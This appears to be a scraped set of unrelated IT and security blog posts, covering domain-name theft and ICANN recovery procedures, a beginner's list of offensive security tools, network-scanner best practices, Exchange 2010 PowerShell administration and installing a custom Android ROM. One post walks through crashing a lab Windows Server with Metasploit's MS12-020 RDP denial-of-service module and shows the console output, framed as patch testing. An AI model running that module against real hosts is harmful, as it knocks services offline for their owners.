Domain Theft and the Possibilities for Recovery


On October 24th 2012, Diigo, a social bookmarking website allowing signed-up users to bookmark and tag web pages, had its domain,, stolen by a domain name thief. . As a result, Diigo’s more than 5 million registered users were not able to access the website.

Domain theft, also known as domain name hijacking, is not a new phenomenon. Back in 2005, the ICANN’s Security, Stability and Advisory Committee (SSAC) issued a Domain Hijacking report outlining several incidents of domain theft. The report defines domain name hijacking as “wrongful taking of control of a domain name from the rightful name holder.”

The present contribution describes the types of domain thefts (Section 2) and explains the possibilities for recovery of stolen domain names (Section 3). Finally, a conclusion is drawn (Section 4).

Types of domain theft

The Domain Hijacking report differentiates five basic types of domain theft, namely: impersonation of a domain name registrant in correspondence with a domain name registrar (Subsection 2.1); forgery of a registrant’s account information maintained by a registrar (Subsection 2.2), forgery of a transfer authorization communication from a registrant to a registrar (Subsection 2.3); impersonation or a fraudulent act that leads to the unauthorized transfer of a domain from a rightful name holder to another party (Subsection 2.4), and unauthorized DNS configuration changes that disrupt or damage services operated under a domain name (Subsection 2.5).

Impersonation of a domain name registrant in correspondence with a domain name registrar

This type of domain theft includes using forged fax or postal mail requests to modify registrant information. In some cases, stolen or copied company letterheads may be also used.

The incident is a typical example of impersonation of a domain name registrant. Hushmail was launched in 1999 by Hush Communications. In April 2005, a domain name thief convinced the support staff of Network Solutions, Inc. to modify the administrative email contact information in Hush Communications’ registration record. Then, the attacker used the administrative contact email to submit a password reset request for the Hush Communications account to Network Solutions, Inc. Afterwards, the attacker logged into the Hush Communications account, changed the password, and altered the DNS configuration to point the domain name to his own server. At the end, the thief posted a new home page demonstrating his achievement and embarrassing Hush Communications.

Forgery of a registrant’s account information maintained by a registrar

Domain name thieves may forge the account information associated with a domain name registration to conduct malicious activities, such as reselling the domain. For instance, the forged information may be used by a thief to deceive a buyer that the thief is the actual owner of the domain name.

Forgery of a transfer authorization communication from a registrant to a registrar

This type of domain theft includes acts where the domain name thief submits a fake transfer authorization communication to the registrar. The communication appears to be sent by the registrant, which would allow the thief to take control over the domain name.

For example, in the U.S. case Kremen v Cohen 2001, the California District Court found that the defendant fraudulently obtained the registration of the domain name by sending a forged letter to Network Solutions, Inc., the domain registrar. As a result, the court awarded $65 million for damages resulting from the fraud.
The court justified the award by stating that, in the five years the defendant operated the “” website, he reaped profits amounting to more than 40 million dollars. The damage award also included $25 million in punitive damages.

2.4 Impersonation or a fraudulent act that leads to the unauthorized transfer of a domain name from a rightful name holder to another party

This type of domain name theft includes actions that may or not may lead to changes in the DNS configuration. If the theft does not lead to changes in the DNS configuration, it could remain undetected for a considerable period of time. In this case, the motive of the thief is not to immediately disrupt the domain holder’s operation, but to acquire and resell the domain name.

An example of such a theft is the and incident. Both domain names were previously registered and managed by a U.S. company and registered through Go Daddy Operating Company, LLC. Suddenly, an unidentified and unauthorized person used the name and the password of the company manager to log into his account and transfer the Domain names to another Registrant and Registrar (OnlineNIC, Inc.). In this incident, no changes had been made to the DNS configuration, and the services of the two domain names had not been affected.

The manager of the company submitted a Uniform Domain Name Dispute Resolution Policy (UDRP) claim to the online ADR Center of the Czech Arbitration Court requesting the transfer of the domain names to his company. UDRP is an administrative procedure allowing trademark holders to submit complaints to ICANN-accredited dispute resolution providers for disputes involving domain names that have been registered by an ICANN-accredited registrar. On November 21, 2012, a panelist of the Czech Arbitration Court delivered a decision transferring the domain names to the manager of the company.

Unauthorized DNS configuration changes that disrupt or damage services operated under a domain name

Unauthorized DNS configuration changes can be a result of DNS spoofing attacks (also known as DNS cache poisoning). In this kind of attack, data is introduced into a Domain Name System (DNS) name server’s cache database that results in the domain name server returning an incorrect IP address, diverting traffic to another computer (often the computer of the domain name thief). A typical example of DNS spoofing occurred in 1997 when Eugene Kashpureff redirected users attempting to connect to the InterNIC website to his own website.

Possibilities for recovery of stolen domain names

At present, victims of domain name theft can re-take control of the stolen domain names through dispute resolution procedures (Subsection 3.1). In addition, ICANN also considers the use of an emergency action channel (Subsection 3.2) between registrars that will be used in cases where an urgent response is required.

Dispute Resolution Procedures

The Uniform Domain Name Dispute Resolution Policy (UDRP) and the Transfer Dispute Resolution Policy (TDRP) established by ICANN are designed to impartially assess the factual circumstances of the case with the aim of determining the appropriate outcome of a dispute.

The Uniform Domain Name Dispute Resolution Policy (UDRP)

The Uniform Domain Name Dispute Resolution Policy (UDRP) is an effective means for recovery of stolen domain names. The total cost of UDRP (including attorney’s expenses) may vary between $1,000 and $2,000. The procedure will take at least two months to reach a decision. In order to succeed in a UDRP proceeding, a complainant must establish three elements: (1) the domain name is identical or confusingly similar to a trademark or service mark in which the complainant has rights; (2) the registrant does not have any rights or legitimate interests in the domain name; and (3) the registrant registered the domain name and is using it in “bad faith.”
A party who lost the proceedings may file a lawsuit in a national court against the domain name registrant.

In order to establish whether a domain name has been registered in “bad faith,” the UDRP panel will examine several factors, such as (1) whether the registrant registered the domain name with the aim of selling the domain name registration to the complainant, (2) whether the registrant registered the domain name to prevent the owner of the trademark or service mark from using the mark corresponding to his name, (3) whether the registrant registered the domain name primarily to disrupt the business of a competitor, and (4) whether the registrant tried to attract visitors by creating a likelihood of confusion with the complainant’s mark.

The Transfer Dispute Resolution Policy (TDRP)

The Transfer Dispute Resolution Policy (TDRP) is used for resolving disputes between two registrars engaging in Inter-Registrar domain name transfers. A TDRP dispute can be brought to the registry for a decision, or to a third-party dispute resolution service provider. In case that a registry operator is chosen, the decision of this registry operator may be appealed by the registrars to an independent dispute resolution provider. A decision made by an independent dispute resolution provider may be appealed only before a court.

3.2 Emergency action channel

The emergency action channel will provide 24/ 7 access to registrar technical support staff who are authorized to assess the situation and establish the magnitude and immediacy of harm. They are also entitled to take measures to restore registration records and DNS configuration to “the last working configuration.”

The emergency action channel will be supported by a contact directory of parties who can be reached during non-business hours and weekends and a companion policy. The companion policy will identify evaluation criteria (including circumstances and evidence) that a registrant must provide in order to obtain an immediate recovery of the domain.

The following circumstances will be taken into account when distinguishing when an urgent recovery policy may be a more appropriate action than the TDRP: (1) immediacy of the harm, (2) the magnitude of the harm, and (3) escalating impact.


This article has shown that domain name theft is a serious issue that can lead to the loss of the domain name and the interruption of services operating under it. It has also shown that domain name theft is a broad term that encompasses several acts of wrongful takeover of a domain name. While domain name thefts that interrupt services will probably be immediately noticed by the legitimate domain name holders, those that do not lead to changes in the DNS configuration may remain unnoticed for a long period of time.

At present, the people/organizations whose domains were stolen may rely mainly on the dispute resolution procedures established by ICANN and on the use of litigation. The UDRP and TDRP procedures are relatively quick and cheap (compared to litigation). However, it should be noted that many victims of a domain name theft may not be able to pay the dispute resolution fees. This is especially true for people in developing countries for which a dispute resolution fee of $2,000 could be equal to their annual salary.

In order to prevent thefts of domain names, companies and individuals may take the following four preventive measures. First, they should not use Hotmail, Gmail, or other free email services as the contact email on the domains. Because free email services have many security vulnerabilities, thieves often hack them and authorize a transfer. Second, companies and individuals need to create as secure a password as possible at their registrar. The use of a completely random password containing upper and lower-case letters and numbers is desirable. Third, in order to ensure the best protection of their domain name, companies and individuals are advised to use a trusted registrar. The well-known registrars provide adequate security precautions. Lastly, when selling domain names, it is advisable to use escrow services. Using an escrow service is a good way to prevent fraud schemes.

Daniel Dimov is a security researcher for InfoSec Institute. InfoSec Institute is a security certification company that has trained over 15,000 people including popular CEH and CCNA certification courses.


Eight Handy Security Tools For a Novice

Here is a compilation of a few tools that we need to be aware of. The power, the performance and the capabilities of these tools are limited only to the creativity of the attacker. Let’s dig into the list.

1. Maltego:

Following the well-defined hacker cycle, let’s start off with reconnaissance tools. Maltego is a very well-known tool for information gathering. The tool comes with personal reconnaissance and infrastructure reconnaissance. With personal reconnaissance, a person is able to obtain another person’s profile from the email address, name, or phone number using the search engines. The Maltego framework comes in two versions – a commercial version and a community edition. Registration is mandatory for using this tool. Only the commercial version allows saving the output from the reconnaissance. With infrastructure reconnaissance a person can get information related to subdomains and servers of a network. This information is gathered using what we call transformations in Maltego. Various transformations give results depending on the way the results are manipulated, grepped, and translated into new search queries.

2. Metasploit:

Following this, we move on to the exploitation tools. The most used exploit development framework is the Metasploit framework by Rapid 7. Initially developed as a game, it has evolved into one of the most powerful exploit development frameworks. It allows using custom exploits by using something called “porting of exploits”.

Porting exploits involves taking a proof of concept exploit which just delivers some particular shellcode, commonly a calc.exe launcher or notepad launcher, and weaponizing it to be used in the framework with features. These features include things like custom payloads, encoders, and other benefits.

The Metasploit framework is not just an exploit delivery vehicle. It also contains some tools for exploit development.

It can also be used for generating offsets, writing exploits, and exploitation of different operating systems and architectures. It has various modules and exploits.

A third party extension that provides a GUI is Armitage. The commercial has its own GUI, which is not included in the community edition.

Backdooring executables can be carried out by a module named as msfpayload.


GHDB stands for Google Hacking DataBase. Google is the most powerful tool for a user to perform attacks. Specially crafted words given as input to Google are named as Dorks or Google dorks. These dorks can be used to reveal vulnerable servers on the Internet. They can be used to use to gather sensitive data, files that are uploaded, sub domains, and more. GHDB can make it easier to find the right Google dorks for your needs.

Offensive Security maintains a collection of Google dorks under a section called GHDB.

4. Social Engineering Toolkit:

This tool is built into Backtrack. It presents the social engineering attacks in an automated fashion. Is it encoding of scripts, binding Trojans to legitimate files, creating fake pages, harvesting credentials? This tool is a one stop shop for all these requirements. It has the ability to use Metasploit based payloads in the attack, making the framework all the more lethal with all professional exploits from the Metasploit framework.

5. HULK – A web server DoS Tool

Brainchild of Barry Steinman, this tool distinguishes itself from many of the other tools out in the wild. According to its creator, the tool was the result of his conclusion that most tools out there produce repeated patterns which can easily be mitigated. The principle behind HULK is to introduce randomness to the requests to defeat cache-ing and host identification technologies. This is to increase the load on the servers as well as evade the IDS/IPS systems.

6. Fear The FOCA

The FOCA is a metadata harvesting tool. It can analyze meta data from various files like doc, pdf, ppt etc. From this data it can enumerate users, folders, emails, software used, operating system, and more. There are customization options available in the tool too. The crawl option allows you to search the related domain website for additional information. The meta data can be extracted from a single file or from multiple files. Thus FOCA is a great tool in the reconnaissance phase to extract information from the meta data.

7. W3af – Web application attack and audit framework

This project is a web application attack framework sponsored by the same company that makes Metasploit. W3af is used to exploit web applications. It presents information regarding the vulnerabilities and supports in the penetration testing process. It is mainly divided into two parts: core and plugins. Currently it’s partnered with Rapid7, the team that maintains the Metasploit framework. There is a plugin for saving reports to disk for later reference. The plugins can be custom written. Communication between plugins can be automated.

8. EXIF Data viewers

Smartphones and digital cameras use a standard to specify additional meta data for images and sounds that are recorded using them. This standard is called Exchangeable Image File Format. Various EXIF data viewers are available. The data recorded can include details about type of camera. More importantly, they can contain the geo-location information within them. In fact, by default all smartphones have the GPS setting switched ON. This can potentially leak your location when the image was taken. The accuracy is such that the latitude and longitude will be provided when extracting the EXIF data, thus leaking possibly private information.


These are a few handy tools that a beginner in info-sec needs to be aware of. Other tools and their capabilities will be followed in the continuing articles.

Shathabheesha is a security researcher for InfoSec Institute. InfoSec Institute is a security certification company that has trained over 15,000 people.

3 Best Practices for Optimum Network Security

Following best practices should really be a no-brainer but sometimes administrators managing security have a habit of forgetting one very important practice – that of letting technology help them. Too often, admins are bogged down by numerous manual tasks that could easily be automated – and in so doing, improve overall security and efficiencies. A network security scanner is one tool that should be in every network security best practice manual because it helps them follow best practices with minimal effort. Let’s see why.

1.     Antivirus solutions are up-to-date:

It is good to have a desktop-based antivirus solution; this however will be of little use if for some reason your antivirus definition files are outdated. Making sure each machine has an updated antivirus package can be really time-consuming. Luckily, many good network security scanners can do that for you and automatically inform you when any antivirus definition fields are out-of-date.

2.     Good patch management:

Performing proper patch management is tricky business. Deploying patches as they are made available might seem like the proper thing to do, especially since this will reduce the vulnerability window but patches change software at a core level. This can cause compatibility issues which, in turn, can cause downtime – just what you’re trying to avoid. For this reason patches need to be tested in an environment that mirrors your live environment as much as possible. A network security scanner can generally provide the information needed to be able to build such an environment.

Once patches are tested and deployed on the live environment, it is important to ensure they have been deployed successfully. Failing to do this verification can result in a false sense of security as the environment you’d believe is secured with the latest patches might actually be missing a patch that failed to be deployed.

A good network security scanner reduces the time required to do all the above, allowing the administrator to focus on more urgent tasks.

3.     Change Management:

Some users will try, and manage, to get around company policies. They might do this with the best intentions by installing software to help them do their job more efficiently – even though software installs are not permitted. Or they might break the rules with intent. A good network security scanner can scan your machines and look for any change no matter what it might be. This can be very difficult, if at all possible, to do manually.

A good network security scanner can make the life of an administrator much easier because it allows them to follow many network security best practices with little effort. In security, doing the absolute minimum and not thinking things through properly can be as risky as ignoring security altogether. If time is an issue, implementing a network security scanner could give you a lot more breathing space.

This guest post was provided by Emmanuel Carabott on behalf of GFI Software Ltd. GFI is a leading software developer that provides a single source for network administrators to address their network security, content security and messaging needs. Discover what other benefits a network security scanner can offer your organization.

All product and company names herein may be trademarks of their respective owners.

MS12-020 RDP Vulnerability overview and testing

By now if you have been paying attention to your news readers, Google plus or twitter feed you would have noticed that Microsoft released a patch to a nasty denial of service (DOS) vulnerability. Here is a bit of information about the vulnerability; “This security update resolves two privately reported vulnerabilities in the Remote Desktop Protocol. The more severe of these vulnerabilities could allow remote code execution if an attacker sends a sequence of specially crafted RDP packets to an affected system.”

In short the system would crash and have a “blue screen of death” thus causing the system to reboot. Now the other option would allow and attach to have remote code execution on the affected system. Even though this patch was released over two weeks ago most organizations are still vulnerable and that’s not because the choose to be however most places have a  “patch cycle” which require extensive testing prior to deployment.

As explained by the fine people over at ISC Diary The Microsoft released patch has several reference KB’s which includes ” KB2671387 (Remote Code Execution – CVE-2012-0002) and KB2667402 (Denial of Service – CVE-2012-0152) or KB2621440. The reference for the update you’ll see on a Windows system, when installed, depends on the version of the OS you’re running. For Windows 7 you’ll likely note KB2667402, whereas you should only expect KB2621440 on a Windows XP host. As always before applying any patch ensure that you read the release notes.
We recently patched our internet facing servers that had RDP enabled and everything went well with the exception of one server that we were unable to log back into via RDP, we had to gain access to the server via the ILO port then applied a few additional patches then rebooted and that seen to solve the issue.Now for the fun part if you would like to test the proof of concept exploit for this vulnerability grab a copy of Metasploit follow the steps below.
 My Test setup:
  • Linux (SolusOS)
  • VirtualBox VM running Windows Server 2008 (with RDP enabled)

Launch msfconsole and follow the steps outlined here:

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf  auxiliary(ms12_020_maxchannelids) > show options

Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):

Name   Current Setting  Required  Description
—-   —————  ——–  ———–
RHOST                   yes       The target address
RPORT  3389             yes       The target port

msf  auxiliary(ms12_020_maxchannelids) > set RHOST
msf  auxiliary(ms12_020_maxchannelids) > run

[*] – Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] – 210 bytes sent
[*] – Checking RDP status…
[+] seems down
[*] Auxiliary module execution completed

RHOST = The vulnerable host that is running a vulnerable version of RDP

Screenshot of server 2008 reacting to the exploit
Now go on out and patch your systems and if you have some time load Metasploit on a host of your choice and do some testing.


SendAs from a distribution group Exchange 2010

I received a request today from one of our users who wanted to send and email from their departmental distribution group. Now this task can be easily performed if a user wanted to do a send as from a public folder however with Exchange 2010 you are unable to grant a user the correct access via the EMC.

In order to grant a user this access you have to do it via the Exchange management shell “EMS” aka PowerShell. My first question was did the user really meant to say Public folder or was it an actual DG? To answer this question I ran the following command:

get-recipient -results unlimited | where {$_.emailaddresses -match “”} | select name,emailaddresses,recipienttype

Once I realized that I was working with a distribution group I then ran  this command to grant the user “send as ” permission:

Get-DistributionGroup “accounting” | Add-ADPermission -ExtendedRights Send-As -User “Jane Doe” -AccessRights ExtendedRight | fl

And just like that I had another satisfied user :). If you know of another way to accomplish this task do share in the comments.

Retention policy with a twist of MRM Exchange 2010

I was recently working on a project that involved creating some Retention policies for our Exchange 2010 sp1 environment. The project got a bit scary in the testing phase when we realized that the Inbox deletion policies were also deleting emails in the user’s sub-folder.  The came as a surprise to us since we were able to use the same type of policy in Exchange 2003 prior to upgrading.

To solve this issue we had to create retention policies to manage our deleted items, sent items, and drafts but use message record management to handle our inbox. Since MRM was being phased out of 2010 this solution needed to be implemented via the Exchange management shell (Powershell).

Implementing MRM:

Messaging records management (MRM) is the records management technology in Microsoft Exchange Server 2010 that helps organizations reduce the legal risks associated with e-mail. MRM makes it easier to keep the messages needed to comply with company policy, government regulations, or legal needs, and to remove content that has no legal or business value.

Prior to implementing this its best to check to see if any additional policies were created and if you don’t play on using them going forward delete them. You can do so with the below commands:

Review commands:


 [PS] C:Windowssystem32>Get-ManagedFolderMailboxPolicy

Name                      ManagedFolderLinks

—-                              ——————

Test Policy1            {Inbox}


 [PS] C:Windowssystem32>Get-ManagedContentSettings

 Name                      MessageClass              ManagedFolderName

—-                            ————- ————              —————–

Inbox Content               *                                           Inbox1


 [PS] C:Windowssystem32>Get-ManagedFolder

 Name                      FolderName                Description

—-                              ———-                ———–

Inbox1                    Inbox                     ManagedDefaultFolder

After retrieving this information you can now issue the following commands to remove any old or test policy:

Remove Policy from users

Set-Mailbox username -ManagedFolderMailboxPolicy $null

Removed ManagedFolder Mailbox Policy

[PS] C:Windowssystem32>Remove-ManagedFolderMailboxPolicy “Test Inbox Policy”

Remove Manage Content Setting

 [PS] C:Windowssystem32>Remove-ManagedContentSettings “Inbox Content”
Creating and Implementing MRM:

  1. Create your managed folder
  2. Create your managed folder content setting
  3. Create your manage mailbox folder policy
  4. Apply your policy to a user or to an exchange data store.
  5. Start the managed folder assistant service or wait for it process on schedule

The below policy will delete all emails from the user mailbox that are 60 days old without touching any sub folders in the user’s Inbox.

Managed Folder Creation

 New-ManagedFolder -Name “Test Inbox” -DefaultFolderType Inbox -BaseFolderOnly $true -Comment “Items would be moved to deleted items for 60 days” -MustDisplayCommentEnabled  $true

Managed Folder Content Settings

New-ManagedContentSettings -Name “Test Content” -FolderName “Test Inbox” -MessageClass * -AgeLimitForRetention 60 -RetentionAction MoveToDeletedItems -RetentionEnabled $true -TriggerForRetention WhenDelivered

 Managed Mailbox Folder Policy

New-ManagedFolderMailboxPolicy -Name “TestPolicy” -ManagedFolderLinks “Test Inbox”

Verify settings

[PS] C:Windowssystem32>Get-ManagedFolderMailboxPolicy “TestPolicy” |fl

[PS] C:Windowssystem32>Get-ManagedContentSettings “Test Content”|fl

[PS] C:Windowssystem32>Get-ManagedFolder “Test Inbox” |fl


Start the Managed Folder Assistant to process the mailbox.

Apply to single user:

 Set-Mailbox -Identity testuser -ManagedFolderMailboxPolicy “TestPolicy”

Start-ManagedFolderAssistant -ID  testuser

Apply to a database level:

Get-Mailbox –database “Database Name” | Set-Mailbox –ManagedFolderMailboxPolicy “Name of the Policy”


If you run into issues wait about 30 mins for the folders to replicate after created them. You can also stop and restart the “Managed Folder Assistant” service.


Would love to know how others handled this issue.


My first expirience at installing a custom rom

  So after having my Droid Bionic for a few months now I have decided to take the leap from rooting to roming. A quick definition on Rooting and Roming from the nice people over at

What is Rooting?

“Rooting” your device means obtaining “superuser” rights and permissions to your Android’s software. With these elevated user privileges, you gain the ability to load custom software (ROM’s), install custom themes, increase performance, increase battery life, and the ability to install software that would otherwise cost extra money (ex: WiFi tethering). Rooting is essentially “hacking” your Android device. In the iPhone world, this would be the equivalent to “Jailbreaking” your phone.

Custom Software (ROM’s)

You may have heard of people loading custom “ROM’s” on their devices. A “ROM” is the software that runs your device. It is stored in the “Read Only Memory” of your device. There are many great custom ROM’s available that can make your Android device look and perform drastically different.

After hanging around rootzwiki forum, listening to Droid Nation and Android App Addictspodcast I felt like I was ready to install my first custom  rom. My rom of choice was [K]IN3TX v1.0 some features about this rom:

  • Latest BusyBox
  • Superuser (Updated Binary)
  • Battery Optimization
  • Fully ROOTED
  • SD Card Read tweaks
  • Built Off of 5.8.894 OTA
  • Advance Power Menu
  • Scrollable Power Toggles in Pull Down
  • FULL Custom UI
  • PNG Optimization
  • init.d Run Support

Just to name a few..

You can read the full posting about this rom over at the rootzwiki forum their you will also find the various downloads that you would need. However I will highlight a few steps I took:

After you are finish installing log-in setup your device, then you can boot back into CWM wipe your cache, and dalvik then install add-on or tpak of your choice, I installed the ICS tpak.

Now as anyone might expect the first time you are doing something like this you have to realize that you might make a mistake, but you can only hope it doesn’t hurt you too much. The mistake I made was that I copied the wrong add-on pack to my sdcard but not the base rom, and since I already wiped my system partition I was unable to reboot my phone into recovery mode after I copied the correct file via another device.

How I corrected this issue you might ask yourself, I had some help from my buddy Highlander-:  over at the Podnutz IRC chat room. He pointed me to a tool call RSDlite, which allowed me to flash my phone back to the stock rom and from there I followed the steps outlined above and all was well the second time around :). You have got to love the power of the Internet and great communities.

Have fun roming and you can comment back and let me know which rom is your favorite. I have only tried one and I must say I absolutely love it!

Reference Links: